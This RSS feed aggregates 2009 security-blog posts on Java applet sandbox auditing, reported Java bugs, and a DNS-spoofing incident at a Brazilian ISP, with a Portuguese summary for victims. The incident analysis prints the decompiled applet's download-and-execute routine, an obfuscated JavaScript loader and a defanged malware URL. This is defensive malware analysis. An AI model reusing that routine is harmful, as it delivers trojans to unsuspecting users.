<item><title>Java SE Security - Part I</title><description>Secuobs.com : 2009-05-31 20:03:52 -  Slightly  Random Broken Thoughts - I'm starting a section here outlining a few basic ways for analyzing JavaSE security in a pure Java sense That is: Java code which mightescape from the security sandbox, most commonly set up for JavaappletsThis first part will deal with the methodAccessControllerdoPrivilegedWhat does it doIt is used to execute a piece of code in a privileged context Thedifferent variations of the method take a PrivilegedAction, orPrivilegedExceptionAction instance as a parameter and execute the runmethod of that actionWhy do we need thatAll the code that comes from the jre/lib rtjar, etc is alreadyprivileged Even when executed in the context of an applet that codehas the privileges to read/write files, open network connections,execute processes and so on as long as there is no untrusted code onthe calling stackWait, what What does that meanAll the code in the JRE that does stuff that is considered privilegedis armed with a call to the SecurityManager to ask if the caller hassufficient privileges to call it As an example, let's look atFiledelete:public       boolean    delete             {SecurityManager security    =    System      getSecurityManager         ;if          security       =       null          {security      checkDelete      path      ;}return    fs      delete      this      ;}So the first thing the method does is that it tries to obtain thecurrently installed SecurityManager and checks if it isn't null Nullin this case means there is no SecurityManager installed andeverything is pretty much allowed In the case of an applet, therewill always be a SecurityManager, and next the code asks theSecurityManager if deleting at the given path is allowed If theSecurityManager objects, it will throw a security exception If noexception is thrown, the file actually gets deletedThe SecurityManager checks every class that is on the calling stackthe method that called the method that called the method andmakes sure every single of these classes is allowed to delete thatfile So, if you try that from an applet's start method, that methodwill be on the calling stack and since your applet is not allowed todelete files, the SecurityManager will throw an exceptionSo how does doPrivileged come into playThere are some operations that have to be allowed, even though thereis some untrusted code on the calling stack A simple example is thatmany JRE methods require access to system properties that controltheir functionality So the code that reads the system property iswrapped in a doPrivileged call and even if the method was executedfrom an applet, the operation is allowedThis is actually intelligent The potentially dangerous code whichcould introduce security vulnerabilities is wrapped up in and taggedby the doPrivileged blocks This makes it pretty straightforward toaudit themHow does one find the doPrivileged blocksMy preferred tool of the trade is Eclipse http://wwweclipseorg/To be effective, one needs the source code The JDK normally comeswith a srczip, containing the source code of the public API classesand some other classes However, to get some sources one needs to digdeeperEclipse has a nice piece of functionality called "Call Hierarchy",which searches all the places where a given method is called, allowingyou to dig deeper, viewing the callers' callers, and so on So youcould open the AccessController class, select the doPrivileged methodand view it's call hierarchyHow does one tell what's secure and what isn'tMost of the doPrivileged blocks are small, precise, don't trust anyinput and do exactly one determined thing However, this isn't alwaysthe caseFor example, public class sunutilcalendarZoneInfoFile has a privatestatic method readZoneInfo file, which takes a filename String as aparameter and returns the file contents as a byte array The filecontents are read in a doPrivileged blockSomething like this:package    sun      util      calendar   ;public       class    ZoneInfoFile    {private       static       byte          readZoneInfoFile      String fileName          {   buffer    =          byte             AccessController      doPrivileged      new    PrivilegedExceptionAction             {}}Things to consider:* It's a public class and therefore accessible outside it's packagefor all* It's not a serializable class* It's a non-final class, and it has an accessible constructor, soit could be subclassed* It's in a sun package and therefore cannot be accessed from anapplet* The method is private and therefore cannot be invoked from anotherclassBut:* The method is called from another private static methodcreateZoneInfo of the same class* createZoneInfo is called from a public static method getZoneInfostill inaccessible because of the package* getZoneInfo is called from a public static method getTimeZone ofthe same class* getTimeZone is called from a private static method getTimeZone ofthe public class TimeZone which resides in the accessible packagejavautil* getTimeZone is called from a public static method getTimeZone ofthe public, accessible class javautilTimeZoneSo this path actually allows calling the doPrivileged block, passingany filename for it to read However due to the long path, the returnis no longer a byte array and there are a lot of validations along theway In any case this illustrates the process of analyzing a piece ofcodeIMAGE</description><link>http://www.secuobs.com/revue/news/104189.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104189.shtml</guid></item>
<item><title>DNS spoofing incident</title><description>Secuobs.com : 2009-05-31 20:03:52 -  Slightly  Random Broken Thoughts - My ISP's NET Vírtua, Curitiba, Brazil DNS record for Google's AdSensepagead2googlesyndicationcom was spoofed on friday nightFriday night, at 11 pm local time, I was accessing a blog on OracleAccess Manager, one of the things I work with at the moment The blogpage seemed very legit with installation and configurationinstructions for the product After it finished loading, my firefoxasked me if I wanted to execute a signed applet, with the followingdialog:Ok, the name Java Plugin sort of inspires confidence, Sun Microsystemsas the publisher as well and if it weren't for1 the strange "From" address wwwwsl2 the fact that the signature had been signed by a certificate thatwas both untrusted and expired3 and the fact that there was absolutely no valid motive for the blogsite to run anything with a signed appletI actually might have considered accepting and clicked on the runInstead I tried refreshing the page and saw that the applet tried torun once again I looked at the Java Plug-in console and saw this:javalangSecurityException: Unable to create temporary fileat javaioFilecheckAndCreateUnknown Sourceat javaioFilecreateTempFileUnknown Sourceat javaioFilecreateTempFileUnknown Sourceat debugdebugnowdebugjava:20at debuginitdebugjava:48at sunplugin2appletPlugin2Manager$AppletExecutionRunnablerunUnknown Sourceat javalangThreadrunUnknown SourceOk, so the applet tried to create a temporary file on my computerGood thing I didn't give it any extended privileges The fact thatthey named their class "debug" is cute, altough somebody should pointthe creators to the Java coding conventions site for class and methodnamesI went after the site's HTML source, trying to find an applet, objector embed tag, but had no luck so I imagined it was in an iframe orgenerated by javascript By method of elimination, I got to animprobable suspect:I opened the show_adsjs and saw that it set the content of theAdSense widget to an iframe pointing to: hxxp://wwwwsl/generichtmldo not access unless you know exactly what you're doingSeeing the host name, I knew something was off I opened that pagemanually and my browser once again asked me if I wanted to run theapplet I pinged pagead2googlesyndicationcom to see what IP my DNSwas giving me, and it was 6823204165, which is nowhere nearcorrectIP address:                     6823204165Reverse DNS:                    68-23-204-165dedameritechnetReverse DNS authenticity:       VerifiedASN:                            7132ASN Name:                       SBIS-ASIP range connectivity:          19Registrar per ASN:            ARINCountry per IP registrar:     US United StatesCountry Currency:               USD United States DollarsCountry IP Range:               68000 to 6863255255Country fraud profile:          NormalCity per outside source:      Akron, OhioCountry per outside source:   US United StatesPrivate internal IP          NoIP address registrar:           whoisarinnetKnown Proxy                    NoLink for WHOIS:                 6823204165So that was the problem Don't know how exactly that was done, but aquick IM roundup proved that all my friends that were awake at thetime were also getting the same, wrong IPCurious to see what the debug class wanted to do to me, I dug deeperThe generichtml contents were and at the time of writing, still arean obfuscated javascript:         4,/|ag*gkfsjmov-eijslc`9kgqafcwkwr{dpBc`hsethlga}Ia etObg%22/et5,38r`ttanltdttmGnleq 8etmeso`iumq*pubz@efjqt}cqwv-hf~hebpjt}rgqEbci|/km``~Hn%25NWLC *7*463hd+%25hgd'tfvvohf6*%7Faid}lgmp+iiknlwa}rjmowluYde|gow`}cgbwnakrgoolqvccgvlluYjl:flgpkbfu,ljnc~lnum9mvXee%7F~aiubhd+`jeredlw*ig~msq*%7Froilnu-gdvs}sgFr`hs{GuakrENWPAAIPF}Guakrenfjblcu{}GuakrCDGKRH3vkm`jqgoolqvccgvlluYjl:ujjaipetnlha|bh%7FoktZkcudnpa%25oa em`qhci|/efp@jbedlwF|Oc'#gkfsjmov-eijsem`qhci|/mmgjhsmyvnaks:`q`ix{',/=8*UDZHRW:"         ;   //--:wiscn$kgjm%3C {-,srqpetrn,rj~disfp*fijetcp,mhg`ml,f|`$9,euvkmu%3C9'*%25JFEA+*6"         ;   //--To display this page you need a browser with JavaScript supportAfter a bit of deobfuscation, it becomes something like:      80      {   ar      ic   +   +      =   os   ;   os   =   ""   }   }   o   =   ar      join      ""      +   os   ;   document      write      o      }   //--   4      {   document      oncontextmenu   =   hp_cm   }   else   {   document      onmousedown   =   hp_md   ;   document      onkeydown   =   hp_md   }   }   else       if      document      layers      {   window      captureEvents      Event      MOUSEDOWN   |   Event      modifiers   |   Event      KEYDOWN      ;   window      onmousedown   =   hp_md   ;   window      onkeydown   =   hp_md   }   else       if      document      getElementById   et   et      document      all      {   document      oncontextmenu   =   hp_cm   }   }   //--         I imagine the javascript is for disabling sourcecode viewing, etc,but the interesting part is the applet tag I downloaded the debugjarand the most interesting part of the code is this:byte    abyte0             =       new       byte      10240      ;String s    =    getParameter      "x"      ;String s1    =       "exe"   ;File file    =    File      createTempFile      "roger"   ,    s1      ;FileOutputStream fileoutputstream    =       new    FileOutputStream      file      ;URL url    =       new    URL      s      ;URLConnection urlconnection    =    url      openConnection         ;BufferedInputStream bufferedinputstream    =       new    BufferedInputStream      urlconnection      getInputStream            ;int    i   ;while         i    =    bufferedinputstream      read      abyte0                    0   fileoutputstream      write      abyte0   ,       0   ,    i      ;fileoutputstream      close         ;try{Runtime      getRuntime            exec      file      getAbsolutePath            ;}catch      IOException ioexception   {File file1    =    File      createTempFile      "tmp"   ,       "bat"      ;file1createNewFile         ;file1deleteOnExit         ;Runtime      getRuntime            exec      file1getAbsolutePath            ;file1delete         ;}file      deleteOnExit         ;In other words, download the file indicated by parameter xhxxp://wwwwsl/voxcardscombr/imagemexe -- do not download unlessyou know what you're doing, save it as a temp file and execute itSomeone had already uploaded the debugjar to virustotal, theantivirus guys seem to discriminate Java, and no one detects anythingIn all fairness, I guess it's pretty generic and could be used todownload et execute anythinghttp://wwwvirustotalcom/analisis/b5dfb4cae55beb8548dfea31a59bd0c2I uploaded the imagemexe portuguese for image to virustotal:http://wwwvirustotalcom/analisis/5b4444c18ce344611d1d3113485c1d3dand 7 products detect it:a-squared         400101   20090404 Trojan-DownloaderWin32BanloadIKAntiVir           790129   20090403 TR/SpyBankerGeneSafe             70170    20090402 Suspicious FileF-Secure          80144700 20090403 Suspicious:W32/MalwareGeminiIkarus            T311490 20090404 Trojan-DownloaderWin32BanloadMcAfee-GW-Edition 676       20090403 TrojanSpyBankerGenSophos            4400      20090404 Sus/BancDl-AI executed the applet inside a sandbox, and it downloaded and executedthe imagemexe as expected From what I could empirically gather, theimagemexe downloaded and executed another file:http://wwwvirustotalcom/analisis/b37d3dc31d57e1aa0973cbeabe43dbd8Which was only detected by one vendor as: Win-Trojan/Banload403968DThe DNS in question was giving the wrong IP at least from 23:00:0003/04/2008 GMT-3 until 01:35:00 04/04/2008 GMT-3 I dare not guess howmany got infectedIMAGE</description><link>http://www.secuobs.com/revue/news/104188.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104188.shtml</guid></item>
<item><title>Descrição em português do vírus wwwwsl summary of the previous post in portuguese</title><description>Secuobs.com : 2009-05-31 20:03:52 -  Slightly  Random Broken Thoughts - Percebi que muitos Brasileiros estão entrando no blog, provavelmente parainformações relativas à mensagem pop-up perguntando se a internautaquer executar um appletPara facilitar a vida de todo mundo, vou compartilhar o que sei aquiem português, mesmo que o idioma padrão do meu blog é inglêsVamos lá, a mensagem pop-up de qual estou falando é essa: printscreendo Sistema Operacional Microsoft WindowsO fato de seu computador apresentar a tela em si não necessariamenteimplica infecção com vírus A janela aparece, porque um servidor DNSdo provedor de internet NET foi comprometido de tal forma que os sitesque usam o sistema de propaganda da Google, chamado AdSense, estavamtentando rodar um aplicativo applet maliciosoCaso você clicou no "Cancel", e não no "Run" você provavelmente estásalvo deste vírusO comprometimento acima descrito aconteceu na sexta-feira, dia 3 deAbril à noite O problema ou já foi resolvido, ou se resolveu sozinhoA causa mais provável para você ainda estar vendo a mensagem, é queseu navegador deve ter guardado a versão maliciosa da página no cachedele Para se livrar do peste, limpe/remove os arquivos temporários ComofazerCaso você em algum momento clicou em "Run" executar, e executou oaplicativo é possível que seu computador foi infectado Procuredesinfetar sua maquina com um bom antivírus, solicitando a ajuda doseu suporte técnico caso necessárioPara os mais entendidos de assuntos técnicos, vou descrever com maisdetalhes o funcionamento do aplicativo malicioso:O DNS da NET Vírtua estava dando o IP errado 6823204165 como oendereço do pagead2googlesyndicationcom, que é o endereço de qual ojavascript relativo ao AdSense é buscadoO javascript que veio do IP 6823204165 era ofuscado e criavadinamicamente o tag applet para executar um applet assinado, chamadodebugjar de um servidor wwwwslA mensagem pop-up acima é o mecanismo de segurança do browser, quepede sua permissão para a execução de um aplicativo com permissõeselevadas Caso ceder essas permissões, o aplicativo nesse caso fará umdownload de desse arquivo:hxxp://wwwwsl/voxcardscombr/imagemexe o http do link alteradopara hxxp para evitar alguém de executar isso sem querer Não baixe, enão rode esse arquivoDepois de ter feito download, o imagemexe será executado na suamaquina Não tive tempo para fazer um analise detalhado o que oexecutável faz, mas eu analisei o arquivo utilizando o serviçovirustotalcom, e vários antivírus detectam esse arquivo comomalicioso:a-squared         400101   20090404 Trojan-DownloaderWin32BanloadIKAntiVir           790129   20090403 TR/SpyBankerGeneSafe             70170    20090402 Suspicious FileF-Secure          80144700 20090403 Suspicious:W32/MalwareGeminiIkarus            T311490 20090404 Trojan-DownloaderWin32BanloadMcAfee-GW-Edition 676       20090403 TrojanSpyBankerGenSophos            4400      20090404 Sus/BancDl-AIMAGE</description><link>http://www.secuobs.com/revue/news/104187.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104187.shtml</guid></item>
<item><title>Timeline of Sun Microsystems fixing Java security bugs</title><description>Secuobs.com : 2009-05-31 20:03:52 -  Slightly  Random Broken Thoughts - List of Java applet security related bugs I've reported to Sun, and thenumber of days between my report and the fix* and counting calculated as of Abril 27th, 2009** a more generic deserialization issue fixed on March 24th, 2009ReportedStatusFixedDays OpenFileSystemView allows read access to file system structureMay 11th, 2008FixedDec 2nd, 2008204Read access to System PropertiesAug 18th, 2008Not FixedN/A251*CalendarreadObject allows elevation of privilegesAug 1st, 2008FixedDec 2nd, 2008**122Undisclosed vectors allow elevation of privilegesOct 19th, 2008Not FixedN/A189*Undisclosed vectors allow directory listing and file renaming/movingOct 26th, 2008Not FixedN/A182*Generic security architecture problemNov 2nd, 2008Not FixedN/A175*Undisclosed vectors allow folder creationMay 11th 2008Not FixedN/A188*IMAGE</description><link>http://www.secuobs.com/revue/news/104186.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104186.shtml</guid></item>
<item><title>Apologies to Mr Schneier</title><description>Secuobs.com : 2009-05-31 20:03:52 -  Slightly  Random Broken Thoughts - On November 29, 2007 Bruce Schneier wrote:Computer security is hard Software, computer and network securityare all ongoing battles between attacker and defender And in manycases the attacker has an inherent advantage: He only has to findone network flaw, while the defender has to find and fix everyflawOn Saturday, May 10, 2008 Sami Koivu wrote:Security is hardWhen you're trying to build something secure, you have to considereverythingWhen you're breaking the security, you just have to think of onething that the other guy didn't think of Not to mention theperson creating security is normally vastly outnumberedI can't remember having read Bruce's essay But the wording isuncomfortably similar Given the dates, my writing seems like cheaprip-off, of Bruce's My bad It's possible I've read something bysomeone else that was inspired by what Bruce had written Or it couldbe coincidence In any case: imitation, flattery, and so onIMAGE</description><link>http://www.secuobs.com/revue/news/104185.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104185.shtml</guid></item>
<item><title>WORA WOOE</title><description>Secuobs.com : 2009-05-31 20:03:52 -  Slightly  Random Broken Thoughts - WORA WOOE An interesting bit by Julien Tinnes on the calendardeserialization bug, Java applet security in general and Apple takinga long time to fix it on OSXLandon Fuller has a Proof of Concept implementation to demonstrate theproblemIMAGE</description><link>http://www.secuobs.com/revue/news/104184.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104184.shtml</guid></item>
</channel>
</rss>
 
